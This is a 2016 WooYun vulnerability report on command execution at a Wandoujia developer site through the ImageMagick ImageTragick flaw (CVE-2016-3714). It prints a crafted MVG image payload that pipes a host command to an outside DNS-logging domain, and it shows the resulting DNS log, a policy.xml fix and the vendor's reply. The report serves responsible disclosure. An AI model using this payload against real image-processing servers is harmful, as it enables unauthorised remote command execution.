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缺陷编号:wooyun-2016-0214939

漏洞标题:豌豆荚某站命令执行

相关厂商:豌豆荚

漏洞作者: 路人甲

提交时间:2016-05-31 22:42

修复时间:2016-07-15 23:30

公开时间:2016-07-15 23:30

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-05-31: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开

简要描述:

之前的都没有修貌似

详细说明:

CVE-2016-3714 以及新的绕过方式
参考:http://drops.wooyun.org/papers/15589
http://blog.knownsec.com/2016/05/imagemagick-popen-remote-command-execution-vulnerability/
开发者站点
http://open.wandoujia.com/account/info

QQ20160531-0.png


认证开发者,营业执照上传处,上传构造好的图片

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|host zzz.zzz.dnslog.info'
pop graphic-context


漏洞证明:

cloudeye中监测到的请求

31-May-2016 22:23:06.450 queries: client 111.206.15.136#3139 (ag-devcenter0-cnc1.hlg01.xxx.dnslog.info): query: ag-devcenter0-cnc1.hlg01.xxx.dnslog.info IN A -ED (128.199.200.236)
31-May-2016 22:23:06.631 queries: client 111.206.14.132#38484 (ag-devcenter0-cnc1.hlg01.xxx.dnslog.info): query: ag-devcenter0-cnc1.hlg01.xxx.dnslog.info IN AAAA -ED (128.199.200.236)
31-May-2016 22:23:06.818 queries: client 111.206.14.132#41208 (ag-devcenter0-cnc1.hlg01.xxx.dnslog.info): query: ag-devcenter0-cnc1.hlg01.xxx.dnslog.info IN MX -ED (128.199.200.236)
31-May-2016 22:23:10.717 queries: client 111.206.14.132#62669 (ag-devcenter0-cnc1.hlg01.xxx.dnslog.info): query: ag-devcenter0-cnc1.hlg01.xxx.dnslog.info IN A -ED (128.199.200.236)
31-May-2016 22:23:10.917 queries: client 111.206.15.136#23942 (ag-devcenter0-cnc1.hlg01.xxx.dnslog.info): query: ag-devcenter0-cnc1.hlg01.xxx.dnslog.info IN AAAA -ED (128.199.200.236)


ag-devcenter0-cnc1.hlg01 为当前服务器主机名

修复方案:

/etc/ImageMagick/policy.xml中添加如下代码
——
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="path" rights="none" pattern="|*"/>
</policymap>

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-31 23:24

厂商回复:

漏掉了漏掉了,唉~感谢对豌豆荚安全的关注和帮助~

最新状态:

2016-06-01:已修复,我们在漏洞报出之前就一直限制了服务器主动访问外网,所以避免了反弹shell,但在host的方法下,还是暴露了~好心塞~


漏洞评价:

评价

  1. 2016-06-01 09:20 | niliu 认证白帽子 ( 核心白帽子 | Rank:1818 漏洞数:237 | 逆流而上)

    厂商很赞啊~